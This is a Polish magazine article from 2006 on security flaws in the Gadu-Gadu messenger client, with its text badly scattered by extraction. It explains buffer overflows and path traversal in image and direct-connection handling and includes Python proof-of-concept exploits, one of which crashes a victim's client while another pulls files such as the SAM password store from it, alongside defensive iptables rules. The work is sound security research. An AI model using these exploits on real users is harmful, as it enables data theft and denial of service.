2006 01 Analiza bezpieczeństwa komunikatora internetowego z wykorzystaniem platformy Linux [Bezpieczenstwo]

background image

bezpieczeństwo

28

styczeń 2006

bezpieczeństwo

niebezpieczne gadu-gadu

29

www.lpmagazine.org

Analiza

bezpieczeństwa

komunikatora

internetowego

z wykorzystaniem platformy Linux

Błażej Miga, Jarosław Sajko

M

ożna zaryzykować tezę, że
u boku poczty elektronicz-
nej, panującej od wielu lat
w królestwie usług komu-

nikacji internetowej, wyrósł jej w ciągu
ostatnich lat nie mniej potężny i niewie-
le mniej popularny książę – komunika-
tor internetowy (ang. instant messenger).
Zagościł on nie tylko w domostwach zwy-
kłych ludzi, ale również w małych, więk-
szych i największych korporacjach i insty-
tucjach administracji publicznej, stając
się tym samym narzędziem komunikacji
o wszechstronnym zastosowaniu. Pakiety
komunikatorów niosą informacje różnej
kategorii, począwszy od plotek i uzgod-
nień co do miejsca wieczornego spotkania,
a skończywszy na mniej jawnych infor-
macjach, np. szczegółach umowy handlo-
wej czy też danych dostępowych. Jestem
przekonany, ze niejeden administrator
sieci próbował walczyć z komunikatora-
mi do czasu, gdy okazało się, że są one
niemal tak potrzebne w pracy, jak telefony.
Teraz te walki mogą mieć jedynie charak-
ter ambicjonalny, ponieważ faktem stało
się, że komunikator stał się tak niezbęd-
ny, jak email.

Z tego powodu nasze przekonanie,

że bezpieczeństwo aplikacji komunikato-
ra internetowego jest nie mniej krytycz-
ne dla bezpieczeństwa całej infrastruk-
tury niż bezpieczeństwo przeglądania
stron WWW, systemu poczty elektronicz-
nej czy też fakt istnienia poprawnie skon-
figurowanego systemu zapory sieciowej.
Postanowiliśmy przyjrzeć się, jak wyglą-
da poziom bezpieczeństwa naszych rodzi-

mych komunikatorów. Trudno nie zgo-
dzić z faktem, że jednym z najbardziej
popularnych jest Gadu-Gadu. To on wła-
śnie stał się tym, który poszedł na pierw-
szy ogień. To właśnie na jego przykła-
dzie postaramy się zaprezentować meto-
dykę analizy tego typu aplikacji, miejsca,
gdzie mogą pojawić się słabe punkty oraz
pokazać przykładowe narzędzia do testów
penetracyjnych.

Platformą, na której będą uruchamia-

ne wszystkie narzędzia oraz kody testu-
jące podatności, będzie Linux, ponieważ
system ten doskonale sprawdza się jako
system do przeprowadzania testów pene-
tracyjnych. Podczas prezentowania kon-
kretnych błędów bezpieczeństwa będą
wyszczególniane dwie wersje klienta dla
systemu Windows, tzn. wersja 6 build 154
oraz wersja 7 build 20 – dla nich będą pre-
zentowane kody proof-of-concept napisane
w Pythonie.

Potencjalne problemy

W grudniu 2004 roku Zespół Bezpieczeństwa
PCSS
publikował informacje o podatno-
ściach na pewne klasy ataków występują-
cych w aplikacjach klienckich Gadu-Gadu,
Tlen.PL oraz WPKontakt. Dwie z nich
były związane ze schematem komuni-
kacji i protokołem wykorzystywanym
przez GG. Właśnie je postaramy się teraz
opisać. W zasadzie mogłyby to być przy-
kłady tego, jak nie należy projektować
protokołu i jak nie należy implementować
jego obsługi.

Krytyczne dla bezpieczeństwa aplika-

cji jest to, w jaki sposób aplikacja ta obcho-

DVD

Po uruchomieniu Linux+ Live

DVD można skorzystać z kilku
komunikatorów internetowych,

w tym Kadu.

Na płycie DVD

Na płycie DVD znajdują się kody

proof-of-concept dla większości

prezentowanych błędów

bezpieczeństwa.

O autorach

Autorzy to pracownicy Zespołu

Bezpieczeństwa Poznańskiego

Centrum Superkomputerowo–

Sieciowego, który zajmuje

się m.in. administracją

systemów bezpieczeństwa

teleinformatycznego,

audytami bezpieczeństwa,

testami penetracyjnymi oraz

analizą kodów.

background image

bezpieczeństwo

28

styczeń 2006

bezpieczeństwo

niebezpieczne gadu-gadu

29

www.lpmagazine.org

Analiza

bezpieczeństwa

komunikatora

internetowego

z wykorzystaniem platformy Linux

dzi się z danymi dostarczonymi do niej
z zewnątrz, a w szczególności przez użyt-
kownika, który może mieć nieczyste intencje.
Żelazną regułą przy operacjach na danych
dostarczanych przez użytkownika do pro-
gramu jest brak zaufania do tych danych i w
związku z tym dokładne i ostrożne spraw-
dzenie ich pod kątem poprawności przed
ich przetworzeniem. Pogwałcenie tej reguły
może skutkować tym, że program napisany
w celu wykonywania konkretnych czynno-
ści będzie mógł posłużyć komuś do wyko-
nania zupełnie innych czynności, nie prze-
widzianych specyfikacją.

Takie zdarzenie miało miejsce w przy-

padku błędu związanego z przesyła-

niem obrazków w GG w wielu wersjach.
Dołączony do artykułu kod proof-of-con-
cept
będzie miał zastosowanie dla wersji 6
build 154 oraz 7 build 20, ale z pewnością
można go ulepszyć tak, aby można go było
zastosować dla innych wersji, do czego
gorąco zachęcam.

Jak wiadomo, poza czystymi wiado-

mościami tekstowymi, można komuś w
tekście wysłać obrazek. Jak to się odbywa?
Najpierw wysyłana jest struktura z infor-
macją o tym, że tekst będzie zawierał obra-
zek. Obrazek identyfikowany jest przez roz-
miar i sumę kontrolną. Jeżeli nasz rozmów-
ca nie ma obrazka o takiej samej sumie kon-
trolnej i rozmiarze, czyli nie ma jeszcze na
dysku obrazka, który chcemy wyświetlić
w jego okienku komunikatora, to wysyła
nam prośbę o dosłanie mu tego obrazka.
Dosyłamy go wraz ze standardową struk-
turą, która go opisuje. Zawiera ona rów-
nież nazwę obrazka, która jest źródłem pro-
blemów:

• W wersji 6 build 154 i prawdopodob-

nie starszych nazwa pliku jest kopio-
wana do bufora bez sprawdzania jej
długości, a bufor do której jest kopio-
wana, jest obszarem o stałej wielko-
ści, alokowanym najpierw na ster-
cie, a następnie na stosie. Prowadzi
to do przepełnienia bufora, zarów-

no na stercie, jak i na stosie, co z kolei
można wykorzystać do wykonania
kodu atakującego na komputerze
ofiary.

• W wersji 7 build 20 i prawdopodobnie

starszych długość nazwy pliku jest co
prawda sprawdzana (tzn. czy jest ona
mniejsza niż 200 znaków i takiej też
stałej wielkości jest bufor alokowany
na stosie), ale do tego bufora kopio-
wana jest nazwa pliku doklejona naj-
pierw do nazwy katalogu imgcache\,
a więc w brzegowym przypadku
łańcuch znaków o 9 bajtów przekra-
cza swoją długością zaalokowany dla
niego bufor. Konsekwencje tego prze-
pełnienia w wersji 7 są zdecydowanie
mniej groźne, gdyż aplikacja zosta-
ła skompilowana z ochroną stosu
(StackGuard).

• W wersjach 7 oraz 6 i prawdopodob-

nie wszystkich wcześniejszych nazwa
pliku, która jest ustalana przez osobę
wysyłająca obrazek, nie jest spraw-
dzana pod kątem zawartości nazw
urządzeń specjalnych, tzn. możemy
nazwać plik z obrazkiem tak, jak
urządzenie specjalne, czyli np. AUX,
LPT1, COM1 itd... Można tę podat-
ność wykorzystać do wykonania ope-
racji czytania bądź pisania do takiego
urządzenia, co w najlepszym przypad-
ku zablokuje klienta GG.

• W wersjach z rodziny 6 nazwa pliku

nie jest sprawdzana pod kątem
zawartości prawie wcale, więc mo-
żemy w nazwie plików użyć tagów
HTML czy też referencji \..\, co w efe-
kcie może prowadzić do wykona-
nia kodu atakującego na kompute-
rze ofiary.

Rysynek 1.

Klient A nawiązuje połączenie

bezpośrednie z pominięciem serwera
komunikacyjnego

Rysunek 2.

Klient A wysyła komunikat

do klienta B za pośrednictwem serwera
komunikacyjnego z żądaniem nawiązania
połączenia, a klient B w odpowiedzi
nawiązuje połączenie

W przypadku, gdy chcemy wysłać komu-
nikat tekstowy do użytkownika o zadanym
numerze, nasza aplikacja kliencka wysyła
komunikat do serwera komunikacyjnego.
Po przepakowaniu do innej struktury, treść
komunikatu wysyłana jest do odbiorcy. W
tym przypadku mamy komunikację z uży-
ciem centralnego serwera. Opcjonalne w
tym schemacie jest potwierdzenie odbio-
ru nadawane przez odbiorcę po otrzyma-
niu komunikatu.

Aby nawiązać połączenie bezpo-

średnie, komunikator musi znać adres,
z którym ma się połączyć (jest on wysy-
łany do serwera komunikacyjnego pod-
czas logowania). Oczywiście, nie zawsze
nawiązanie bezpośredniego połączenia
jest możliwe, np. w sytuacji, gdy czyjś kom-
puter jest za NAT. W takiej sytuacji mamy
dwa rozwiązania:

• użytkownik może podczas logowa-

nia podać adres zewnętrzny, np. adres
bramy do Internetu, poprzez który będzie

można z nim nawiązywać połączenia
z zewnątrz;

• innym sposobem jest skorzystanie

z możliwości poproszenia drugiego
użytkownika o nawiązanie połączenia
z adresem przez nas podanym, tzn.
za pomocą specjalnego pakietu prze-
słanego do użytkownika przez serwer
komunikacyjny wywołać po stronie
odbiorcy procedurę nawiązywania po-
łączenia zwrotnego z adresem poda-
nym przez nas podczas logowania się
do systemu. Tym specjalnym pakietem
jest pakiet CTCP z pierwszym bajtem
danych o wartości 1.

Jak widać, mamy tutaj w ogólności dwa
schematy komunikacji: jeden to opisany
wcześniej schemat z centralnym serwe-
rem, a drugi to schemat połączeń bezpo-
średnich, które są realizowane z pominię-
ciem serwera komunikacyjnego, z tym, że
ich inicjalizacja może wymagać serwera
komunikacyjnego.

Serwer Komunikacyjny

Klient A

Klient B

Klient A

Klient B

Serwer Komunikacyjny

Schematy komunikacji w Gadu-Gadu

background image

bezpieczeństwo

30

styczeń 2006

bezpieczeństwo

niebezpieczne gadu-gadu

31

www.lpmagazine.org

#!/usr/bin/python

import

socket

import

struct

import

sys

from

select

import

select

from

random

import

randint

GG_VERSION

=

"

\x

26

\x

00

\x

00

\x

c2"

GG_LOGIN

=

0x15

;

GG_MSG

=

0x0b

GG_NOTIFY

=

0x0f

GG_NOTIFY_LAST

=

0x10

;

NUL

= "

\x00

"

def

ip2b(ip)

:

s

=

""

for

o

in

ip

.

split

(

"."

):

s

+=

chr

(

int

(

o

))

return

s

def

compute_hash

(

password

,

seed

):

y =

long(seed)

; x =

long

(

0

) ; z =

long

(

0

)

for

i in

range

(0,

len

(password)):

x

=

(

x

&

0xffffff00L

)

|

ord

(

password

[

i

:

i

+

1

])

y = (y^x)&

0xffffffffL

; y = (y+x)&

0xffffffffL

x

=

(

x

<<

8

)&

0xffffffffL

;

y

=

(

y

^

x

)&

0xffffffffL

x = (x<<

8

)&

0xffffffffL

; y = (y-x)&

0xffffffffL

x

=

(

x

<<

8

)&

0xffffffffL

;

y

=

(

y

^

x

)&

0xffffffffL

z = (y &

0x1f

)&

0xffffffffL

y

=

((

y

<<

z

)

|

(

y

>>

(

32

-

z

))&

0xffffffffL

)

return

int

((

y

&

0xffffffffL

))

class

GGConnection

:

def

send

(

self

,

ptype

,

pcontent

):

self

.

sck

.

send

(

struct

.

pack

(

"II"

,

ptype

,

len

(

pcontent

)))

self

.

sck

.

send

(

pcontent

)

def

recv

(

self

):

ptype

,

plen

=

struct

.

unpack

(

"II"

,

self

.

sck

.

recv

(

8

))

pcontent

=

self

.

sck

.

recv

(

plen

)

return

ptype

,

pcontent

def

poll

(

self

,

timeout

=

0

):

ready

=

select

([

self

.

sck

]

,

[]

,

[]

,

timeout

)

if

ready

[

0

]

==

[]:

return

0

return

1

def

createLoginStruct

(

self

,

seed

,

status

,

S

myIP

,

dccIP

,

dccPort

):

passhash

=

compute_hash

(

self

.

password

,

seed

)

buff

=

struct

.

pack

(

"III"

,

self

.

uin

,

passhash

,

status

)

buff

+=

GG_VERSION

;

buff += NUL

buff

+=

ip2b(myIP)

# dcc data

buff

+=

struct

.

pack

(

"H"

,

dccPort

)

if

myIP

!=

dccIP

:

buff

+=

ip2b(dccIP)

;

buff

+=

struct.pack

(

"H"

,

dccPort

)

else

:

buff

+=

6

*

NUL

# image size in kilos, unknown

buff

+=

struct

.

pack

(

"BB"

,

100

,

190

)

return

buff

def

__init__

(

self

,

uin

,

password

):

self

.

uin

=

uin

;

self

.

password

=

password

;

self

.

seq

=

0

def

login

(

self

,

buff

):

self.send

(

GG_LOGIN, buff

)

if

self

.

recv

()[

0

]

==

3

:

return

1

else

:

return

0

def

connect

(

self

,

dccIP

,

dccPort

,

status

=

2

):

myIP

=

socket

.

gethostbyname

(

socket

.

gethostname

())

ipAddress

= "

217.17.41.85

" ;

tcpPort

=

443

servAddress

=

(

ipAddress

,

int

(

tcpPort

))

self

.

sck

=

socket

.

socket

(

socket

.

AF_INET

,

S

socket

.

SOCK_STREAM

)

self

.

sck

.

connect

(

servAddress

)

self

.

sck

.

settimeout

(

60

)

print

"[GG] Connected!"

seed

=

struct

.

unpack

(

"I"

,

self

.

recv

()[

1

])[

0

]

buff

=

self

.

createLoginStruct

(

seed

,

status

,

S

myIP

,

dccIP

,

dccPort

)

if

self

.

login

(

buff

):

print

"[GG] Logged in."

else

:

print

"[GG] Login Failed."

def

disconnect

(

self

):

print

"[GG] Disconnected."

self

.

sck

.

close

()

def

sendImage

(

self

,

uin

,

imageSize

,

imageContent

):

imageChecksum

=

struct

.

pack

(

"i"

,

(

randint

S

(-

sys

.

maxint

,

sys

.

maxint

)))

img

= "

\x09\x01

" ;

img

+=

struct.pack

(

"i"

,

imageSize

)

img

+=

imageChecksum

;

rich

=

"

\x

00

\x

00

\x

80"

rich

+=

img

buff

=

struct

.

pack

(

"iii"

,

int

(

uin

)

,

self

.

seq

,

0x28

)

buff

+=

struct

.

pack

(

"bb"

,

0

,

2

)

buff

+=

struct

.

pack

(

"h"

,

len

(

rich

))

;

buff

+=

rich

self.send(GG_MSG, buff)

;

self.seq

+=

1

imageReply

=

struct

.

pack

(

"bb"

,

0

,

5

)

imageReply

+=

struct

.

pack

(

"i"

,

imageSize

)

imageReply

+=

imageChecksum

imageReply

+=

imageContent

buff

=

struct

.

pack

(

"iii"

,

int

(

uin

)

,

0

,

4

)

buff

+=

imageReply

self

.

send

(

GG_MSG

,

buff

)

if

__name__

==

"__main__"

:

if

len

(

sys

.

argv

)

<

4

:

print

"usage: cmd <your uin> <your password>

S

<victim's uin>"

sys

.

exit

()

myUin

=

int

(

sys

.

argv

[

1

])

;

myPass

=

sys

.

argv

[

2

]

victimsUin

=

int

(

sys.argv

[

3

])

imageName

=

199

*

"A"

+

"

\x

00"

imageContent

=

"ABCDEFGHIJ"

g

=

GGConnection

(

myUin

,

myPass

)

g

.

connect

(

"0.0.0.0"

,

0

,

0x14

)

g

.

sendImage

(

victimsUin

,

len

(

imageContent

)

,

S

imageName

+

imageContent

)

print

"[Main] Payload has sent"

g

.

disconnect

()

;

sys

.

exit

()

Listing 1.

Kod proof-of-concept dla przepełnienia bufora nazwy obrazka przesyłanego w ramach rozmowy (dla wersji klienta 7 build 20).

background image

bezpieczeństwo

30

styczeń 2006

bezpieczeństwo

niebezpieczne gadu-gadu

31

www.lpmagazine.org

Jest to tylko jeden z elementów przesyła-
nej struktury, a jak widać, może przyspo-
rzyć wielu problemów związanych z bez-
pieczeństwem. Prawie we wszystkich wer-
sjach aplikacji, również w ostatniej (na
dzień pisania artykułu), występują pro-
blemy z nazwą pliku, która tak naprawdę
nie jest potrzebna. Wystarczy, że nadawca
określi treść, a nazwę, pod jaką plik z gra-
fiką jest zapisywany w cache'u, może usta-
lać odbiorca.

Na Listingu 1 znajduje się ilustracja

dla błędu związanego z przepełnieniem
bufora. Jest to kod działający dla wersji
7 build 20 klienta GG dla Windows oraz
prawdopodobnie starszych. Listing ten,
poza funkcją main, która z punktu widze-
nia tego proof-of-concept jest najważniej-
sza, zawiera również klasę GGConnection,
która realizuje połączenie z serwerem
komunikacyjnym i autoryzację. Będzie
ona wykorzystywana we wszystkich przy-
kładach. Jej metoda connect jest odpowie-
dzialna za przeprowadzenie procedury
autoryzacji użytkownika w systemie, jak
również korzysta pośrednio z funkcji com-
pute_hash
, która jest z kolei odpowiedzial-
na za obliczenie skrótu hasła na podstawie
otrzymanej wartości seed. Przy połączeniu
pomijany jest krok z łączeniem się z ser-
werem WWW i pobieraniem adresu ser-
wera komunikacyjnego, więc może zda-
rzyć się tak, że będzie konieczna ręczna
zmiana adresu zapisanego w ciele metody.
W kodzie w main nawiązujemy połączenie
z serwerem, podając swoje dane dostępo-
we oraz status 0x14, co oznacza, że naszym
początkowym statusem ma być “niewi-
dzialny”. Następnie wysyłamy do komu-
nikatora, który testujemy, pakiet z obraz-
kiem. To on, a dokładniej zawarta w nim
nazwa, powoduje przepełnienie bufora
w testowanym komunikatorze.

Innym miejscem, któremu postanowi-

liśmy się przyjrzeć, były połączenia bez-
pośrednie. Gadu-Gadu, jak również inne
komunikatory, wykorzystuje je np. do
przesyłania plików pomiędzy użytkow-
nikami. W przypadku GG okazało się,
że obsługa tych połączeń zawiera kilka
podatności godnych uwagi.

Pierwsza i być może najciekawsza

występowała w wersjach 6 build 154
i wcześniejszych. Zaprogramowana jest
w nich funkcjonalność służąca do przesy-
łania plików z katalogu _cache (najczęściej
znajdują się tam pliki z bannerami) jed-
nego komunikatora do drugiego z wyko-
rzystaniem bezpośredniego połączenia

Listing 2.

Przykład wykorzystania podatności związanej z przesyłaniem plików przez

połączenia bezpośrednie (dla wersji 6 build 154)

#

!

/

usr

/

bin

/

python

...

def

b2i

(

bts

):

return

((

1

*

ord

(

bts

[

0

]))+(

256

*

ord

(

bts

[

1

]))+(

65536

*

ord

(

bts

[

2

]))

S

+(

16777216

*

ord

(

bts

[

3

])))

def

runServer

(

servaddress

,

filename

):

try

:

print

"[DCC Server] Server started"

output

=

filename

.

split

(

"

\\

"

)[-

1

]

s

=

socket

.

socket

(

socket

.

AF_INET

,

socket

.

SOCK_STREAM

)

s

.

bind

(

servaddress

)

;

s

.

listen

(

1

) ;

(

conn

,

address

)

=

s

.

accept

()

conn

.

settimeout

(

5.0

)

print

"[DCC Server] Connection accepted"

tmp

=

conn

.

recv

(

4

)

;

tmp

=

conn

.

recv

(

4

)

conn.send

(

"UDAG"

) ;

tmp

=

conn.recv

(

4

)

print

"[DCC Server] Authorization OK"

fname

=

"

\x

01"

+

filename

+

"

\x

00"

buff

=

"

\x

04

\x

00

\x

00

\x

00"

buff

+=

struct

.

pack

(

I

”,

len

(

fname

))

buff

+=

fname ; conn

.

send

(

buff

)

;

conn

.

recv

(

8

)

conn

.

recv

(

1

+

len

(

filename

)) ;

conn

.

recv

(

4

)

length

=

b2i

(

conn

.

recv

(

4

))

-

len

(

filename

)

-

2

print

"[DCC Server] File length: %d"

%

length

conn

.

recv

(

2

+

len

(

filename

)) ;

f

=

file

(

output

,

"wb+"

)

while

length

>

0

:

if

length

>

4096

:

buff

=

conn

.

recv

(

4096

)

elif

length

<=

4096

:

buff

=

conn

.

recv

(

length

)

f

.

write

(

buff

)

length

=

length

-

len

(

buff

)

print

"[DCC Server] File written"

conn.close

() ;

f.close

()

except

:

print

"[DCC Server] No such file or not exploitable"

if

__name__

==

"__main__"

:

myIP

=

socket

.

gethostbyname

(

socket

.

gethostname

())

myPort

=

443

if

len

(

sys

.

argv

)

<

5

:

print

"usage: cmd <your uin> <your password> <victim's uin> <filename>"

sys

.

exit

()

myUin

=

int

(

sys.argv

[

1

]) ;

myPass = sys.argv

[

2

]

victimsUin

=

int

(

sys

.

argv

[

3

])

fname

=

sys

.

argv

[

4

]

serverThread

=

Thread

(

None

,

runServer

,

S

"ServerThread"

,

((

myIP

,

myPort

)

,

fname

)

,

{}

)

serverThread

.

start

()

g

=

gg

.

GGConnection

(

myUin

,

myPass

)

g

.

connect

(

myIP

,

myPort

)

g

.

sendNotify

([

victimsUin

])

g

.

sendCtcp

(

victimsUin

,

1

)

serverThread

.

join

()

g

.

disconnect

()

background image

bezpieczeństwo

32

styczeń 2006

bezpieczeństwo

niebezpieczne gadu-gadu

33

www.lpmagazine.org

ne miejsce zawiera klasę i funkcje pomoc-
nicze, tak jak na Listingu 1. W tym przy-
padku wykorzystujemy połączenia bez-
pośrednie, więc podczas logowania poda-
jemy adres dla takich połączeń, jak rów-
nież uruchamiamy wątek serwera (jest
on odpowiedzialny za przyjęcie nadcho-
dzącego połączenia oraz wysłanie żądania
nadesłania pliku).

W wersjach 7, 6 oraz najprawdopo-

dobniej we wszystkich innych proto-
kół używany do połączeń bezpośred-
nich przesyła dane w nienumerowanych
pakietach. Ponadto, reaguje on na żąda-
nia protokołu w większości przypadków
bez dodatkowych warunków wewnętrz-
nych. W związku z tym możliwe jest
wysłanie pakietu z kodem błędu informu-
jącym np. o tym, że użytkownik nie chce
odebrać pliku, podczas gdy żaden plik nie
był wysyłany. Co więcej, w komunikacie
takim nie będzie zawarta informacja, który
użytkownik nie chce odebrać tego pliku.
Wysyłając ciągle ten sam pakiet można
wymusić wielokrotne wyświetlanie takie-
go i tak nie prawdziwego komunikatu, co
tworzy podatność na atak na dostępność.
Rozwiązaniem tego problemu byłoby
z pewnością przechowywanie wewnętrz-
nie stanu nawiązanych połączeń.

Innym przykładem programistycz-

nego błędu jest sytuacja, która dotyczy
obsługi niektórych żądań przesyłanych za
pomocą połączeń bezpośrednich. Są one
w nowej wersji (rodzina wersji 7) obsłu-
giwane w taki sposób, że możliwe jest
zaalokowanie pamięci bez wykonania ob-
sługi żądania, co z kolei prowadzi czasem
do takich sytuacji:

• wysyłamy do ofiary żądanie nawiązania

połączenia zwrotnego z adresem poda-
nym przez nas podczas logowania;

• tym nawiązanym przez klienta ofiary

połączeniem bezpośrednim wysyła-
my żądanie o kodzie np. 3, z informa-
cją, jak dużą porcję pamięci klient ma
zaalokować (wielkość ta musi być nie
większa niż 64kB);

• wysyłamy te 64kB danych i przecho-

dzimy do kroku drugiego.

Jest to algorytm wykorzystujący podat-
ność na atak na dostępność aplikacji.
W dosyć krótkim czasie jesteśmy w stanie
wymusić zaalokowanie dużej ilości pamię-
ci przez klienta GG naszego rozmówcy.

Błędów związanych z obsługą połą-

czeń bezpośrednich jest jeszcze kilka, ale

Listing 3.

Konfiguracja zapory sieciowej do zabezpieczania przed połączeniami

nawiązywanymi z zewnątrz

# Wyczyszczenie wszystkich tablic iptables

iptables

-F

iptables

-F -t nat

# Domyślne zblokowanie całego ruchu

iptables

-P

INPUT DROP

iptables

-P

OUTPUT DROP

iptables

-P

FORWARD DROP

# Zezwolenie na ruch, który odbywa się w ramach utworzonych połączeń

iptables

–A

FORWARD

–j

ACCEPT

–m state –-state

ESTABLISHED

iptables

–A

FORWARD

–j

ACCEPT

–m state –-state

RELATED

iptables

–A

INPUT

–j

ACCEPT

–m state –-state

ESTABLISHED

iptables

–A

INPUT

–j

ACCEPT

–m state –-state

RELATED

iptables

–A

OUTPUT

–j

ACCEPT

–m state –-state

ESTABLISHED

iptables

–A

OUTPUT

–j

ACCEPT

–m state –-state

RELATED

# Zezwolenie na tworzenie połączeń z sieci lokalnej

iptables

–A

FORWARD

–o ppp0 –j

ACCEPT

–m state –-state

NEW

iptables

–A

OUTPUT

–o ppp0 –j

ACCEPT

–m state –-state

NEW

# Maskarada dla wszystkich hostów z sieci lokalnej

iptables

-t nat -A

POSTROUTING

-p all -s 10.0.0.0/24 -j

MASQUERADE

Listing 4.

Regułki IPTables wykrywające łączenie się klientów Gadu-Gadu z sieci lokalnej

iptables

–A

FORWARD

–p tcp \! –f –m iprange –-dst-range 217.17.41.80-

S

217.17.41.95 –m mport –-ports 8074,443 –m connbytes –-connbytes

S

0:255 –m state

ESTABLISHED

–m length –-length 46:375 –m u32 –-u32

S

“0>>22&0x3c@ 12>>26&0x3c@ 0=0x15000000” –j LOG –-log-prefix

S

“GG LOGIN: “ –-log-level debug

iptables

–A

FORWARD

–p tcp \! –f –m iprange –-dst-range 217.17.46.248-

S

217.17.46.255 –m mport –-ports 8074,443 –m connbytes –-connbytes

S

0:255 –m state

ESTABLISHED

–m length –-length 46:375 –m u32 –-u32

S

“0>>22&0x3c@ 12>>26&0x3c@ 0=0x15000000” –j LOG –-log-prefix

S

“GG LOGIN: “ –-log-level debug

iptables

–A

FORWARD

–p tcp \! –f –m iprange –-dst-range 217.17.45.128-

S

217.17.45.159 –m mport –-ports 8074,443 –m connbytes –-connbytes

S

0:255 –m state

ESTABLISHED

–m length –-length 46:375 –m u32

S

–-u32 “0>>22&0x3c@ 12>>26&0x3c@ 0=0x15000000” –j LOG

S

–-log-prefix “GG LOGIN: “ –-log-level debug

pomiędzy nimi. Całość przebiega mniej
więcej w następujący sposób:

• Komunikator nawiązuje połączenie bez-

pośrednie z osobą ze swojej listy kon-
taktów. Osoba, z którą jest nawiązywa-
ne połączenie, musi mieć nas na swojej
liście kontaktów. Połączenie nawiązy-
wane jest według schematów z ramki
Schematy komunikacji w Gadu-Gadu,
a więc możliwe jest nawiązanie połącze-
nia z osobą znajdującą się za NAT-em.

• Po przeprowadzeniu procedury auto-

ryzacyjnej strona inicjalizująca połą-
czenie wysyła żądanie z nazwą pliku
i plik o takiej nazwie jest tym połą-

czeniem odsyłany do żądającego. Do-
kładniej rzecz ujmując, odsyłane jest 64
kB tego pliku.

I tym razem nie jest sprawdzane, co ta
nazwa pliku zawiera, więc może znaj-
dować się w niej ..\..\..\..., co daje nam
podatność

umożliwiającą

kradzież

danych. Dodatkowym problemem jest
tutaj to, że całość tej operacji odbywa się
bez informowania użytkownika, że takie
procesy zachodzą. Możemy bez problemu
pobrać plik z konfiguracją GG, listę kon-
taktów, czy też plik SAM z katalogu win-
dows
. Ilustracja tej podatności znajduje się
na Listingu 2, na którym wykropkowa-

background image

bezpieczeństwo

32

styczeń 2006

bezpieczeństwo

niebezpieczne gadu-gadu

33

www.lpmagazine.org

Komunikacja w połączeniach bezpo-

średnich realizowana jest na losowych
portach. W jaki sposób wyodrębnić odpo-
wiednie pakiety? Podczas tworzenia połą-
czenia bezpośredniego następuje prosta
autoryzacja użytkowników. Program
nadawcy wysyła do odbiorcy 8 bajtowy
pakiet z dwoma numerami użytkowni-
ków, swoim i odbiorcy. Odbiorca potwier-
dza nawiązanie połączenia 4 bajtowym
pakietem z słowem „UDAG”. Następnie
nadawca wysyła informacje o kierunku
przesyłki pliku. Dzięki blokadzie pakie-
tów zawierających słowo „UDAG” mamy
możliwość zablokowania tego typu ruchu:

iptables –A FORWARD –p tcp \! –f –m
connbytes –-connbytes 0:255 –m state
ESTABLISHED –m length –-length 46:375
–m u32 –-u32 “0>>22&0x3c@ 12>>26&0x3c@
0=0x55444147” –j DROP

Inna możliwością zablokowania połączeń
bezpośrednich jest wypuszczenie ruchu
tylko dla ściśle określonych usług np.
DNS, HTTP, POP3, SMTP, co przedsta-
wia Listing 5.

Podsumowanie

Komunikatory internetowe to świetne narzę-
dzie porozumiewania się. I jako takie po-
winny być poważnie traktowane w kwe-
stiach bezpieczeństwa przez ich dostaw-
ców. Dodatkowo, ważne, aby zwrócić na nie
baczniejszą uwagę, ponieważ widać obec-
nie trend zmierzający do tworzenia wersji
komunikatorów dla biznesu, zintegrowa-
nych często z pakietem biurowym. Myślę, że
pokazaliśmy nie tylko, na ile niebezpieczna
może być taka niepozorna aplikacja, ale też,
od których jej miejsc warto rozpocząć prze-
prowadzanie audytu. Również jak łatwo jest
napisać proste narzędzia, korzystając z dar-
mowego systemu oraz interpretera, testu-
jące poziom realnego zagrożenia podatno-
ści konkretnego komunikatora. Platforma
Linux oraz język Python dają nam świetne
możliwości w testowaniu protokołu aplika-
cji. Można w łatwy sposób pisać proste, ale
działające skrypty, z którymi będzie możli-
wość pracy interaktywnej, np. za pomocą
funkcji

input

w procedurze głównej skryp-

tu możemy tworzyć obiekty i wywoływać
ich metody w sposób podobny jak w powło-
ce. Przykład takiej procedury znajduje się na
Listingu 6. W ten sposób napisana procedu-
ra główna umożliwia nam ręczne tworzenie
połączenia z serwerem i ręczne wywoływa-
nie jego metod

recv

oraz

send

.

Listing 5.

Regułki IPTables pozwalające na korzystanie z określonych usług

iptables

–A

FORWARD

–o ppp0 –j

ACCEPT

–m state –-state

NEW

–p tcp

S

– mport –-dst-port 80,443,110,25,8074

iptables

–A

OUTPUT

–o ppp0 –j

ACCEPT

–m state –-state

NEW

–p tcp

S

– mport –-dst-port 80,443,110,25,8074

iptables

–A

FORWARD

–o ppp0 –j

ACCEPT

–m state –-state

NEW

–p udp

S

– mport –-dst-port 53

iptables

–A

OUTPUT

–o ppp0 –j

ACCEPT

–m state –-state

NEW

–p udp

S

– mport –-dst-port 53

Listing 6.

Przykład “procedury main”

umożliwiającej interaktywną pracę

#!/usr/bin/python

...

if

__name__

==

"__main__"

:

while

1

:

try

:

line

=

input

(

"? "

)

except

:

print

Error

!

sys

.

exit

(

0

)

217.17.46.255 oraz 217.17.45.128-217.17.45.
159. Na początku program próbuje wysy-
łać pakiety na port 8074. W przypad-
ku, gdy nie może utworzyć na nim połą-
czenia, próbuje łączyć się na port 443.
Serwery przetwarzają otrzymane komuni-
katy i przesyłają je do wybranych odbior-
ców. Podczas logowania do serwerów,
klient przekazuje informacje, na którym
porcie oczekuje na połączenia bezpośred-
nie DCC. Połączenia bezpośrednie umoż-
liwiają użytkownikom przesyłanie plików
i prowadzenie rozmów głosowych.

Bardzo często administratorzy dużych

sieci stają przed problemem, na jakim kom-
puterze jest zainstalowany komunikator.
Dodając prostą regułę, nasz filtr pakietów
będzie logował wszystkie próby autory-
zacji do serwerów Gadu-Gadu z kompu-
terów naszej sieci lokalnej. Skorzysta ona
z modułu u32, który daje możliwość porów-
nania dowolnych 4 bajtów pakietu (jest on
dostępny po instalacji łatki Netfiltera z sys-
temu Patch-O-Matic). Odpowiednie reguł-
ki znajdują się na Listingu 4. Wyszukujemy
przy ich pomocy połączeń do serwerów
komunikacyjnych Gadu-Gadu. Interesują
nas tylko początkowe 4 bajty pierwszego
pakietu takiego połączenia. W argumencie
modułu u32 sprawdzamy, czy pierwsze 4
bajty ciała pakietu są równe 0x15000000.
Liczba ta wskazuje na to, że przesyłanym
pakietem jest komunikat logujący użyt-
kownika do serwera Gadu-Gadu. W celu
uzyskania dodatkowych informacji (np.
numeru użytkownika, adresu i numeru
portu) musimy skorzystać ze sniffera siecio-
wego, np. Tethereal:

tethereal –i any …..

–w gg_login_packets.dump

. Takie wywoła-

nie programu pozwoli zapisywać w pliku
gg_login_packets.dump wszystkie pakiety
z informacją przesyłaną przez użytkowni-
